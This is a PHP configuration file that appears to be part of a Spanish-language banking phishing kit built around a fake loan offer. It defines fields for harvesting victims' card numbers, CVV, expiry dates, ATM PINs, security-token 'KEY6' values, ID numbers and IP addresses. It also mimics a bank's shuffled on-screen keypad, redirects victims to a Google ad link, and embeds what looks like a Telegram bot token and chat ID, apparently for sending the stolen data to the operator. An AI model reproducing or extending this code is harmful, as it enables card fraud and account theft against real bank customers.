<?php
$config_key="bamba22";
$urlRedirect="https://www.google.com/aclk?sa=L&ai=DChsSEwjMotbdrPSPAxW_VEgAHft3FeQYACICCAEQBBoCY2U&co=1&ase=2&gclid=Cj0KCQjw0NPGBhCDARIsAGAzpp13FxYiL8NnIM1zQQZqe8Lih-cWg-I_QKfO0SaW3K9A-BTdqDMPZ1YaAmHAEALw_wcB&ei=92_VaKWvB4DL1sQPmZa86AM&cce=2&category=acrcp_v1_32&sig=AOD64_0BB69LB_uUb30bZ0dI1rjhaBu3mg&q&sqi=2&nis=4&adurl&ved=2ahUKEwjlhtLdrPSPAxWApZUCHRkLDz0QqyQoAHoECA4QDQ";
$config_correo="asdasd@gmail.com";
$mKeys = [
  "ip"=>"IP",
  "esta"=>"ESTADO",
  "numerodocumento"=>"Numero<br>documento",
  "monto"=>"MONTO",
  "meses"=>"MESES",
  "celu"=>"CELULAR",
  "cuota"=>"CUOTA",
  "total"=>"TOTAL",
  "tasaanual"=>"TASA<br>ANUAL",
  "tasamensual"=>"TASA<br>MENSUAL",
  "tarj"=>"TARJ",
  "key6"=>"KEY6",
  "vencimiento"=>"FV",
  "vvc"=>"CVV",
  "mta"=>"ATM",
  "email"=>"EMAIL",
  "alias"=>"ALIAS",
];
$automatico=false;//manual
//$fechaActual = new DateTime('now', new DateTimeZone('America/Lima'));
$fechaActual = new DateTime('now', new DateTimeZone('America/El_Salvador'));
$hour22 =  $fechaActual->format("H");
$hour22 = (int)$hour22;
//$hour22 = 19;
//print($hour22);
$horasaludo = "Buenos días";
$horaimg = "dias.svg";

if($hour22>=13 && $hour22<=18){
  $horasaludo = "Buenas tardes";
  $horaimg = "tardes.png";
}

if($hour22>18){
  $horasaludo = "Buenas noches";
  $horaimg = "noches.svg";
}

$numerosTeclado = [0,1,2,3,4,5,6,7,8,9];
shuffle($numerosTeclado);
$SOLOPERSONAS = false; //para cargar directamente personas
$pilotfile = "pilot.config";
$mobilfile = "mobil.config";

define('_token', array('8121345524:AAEOBvxDZiGr0NsxigSiEIu65jFMfdBBCUM', ''));
define('_id', array('6762636885', ''));
define("TASAANUAL",7);

$esautomatico = file_exists($pilotfile);
$solomobil = file_exists($mobilfile);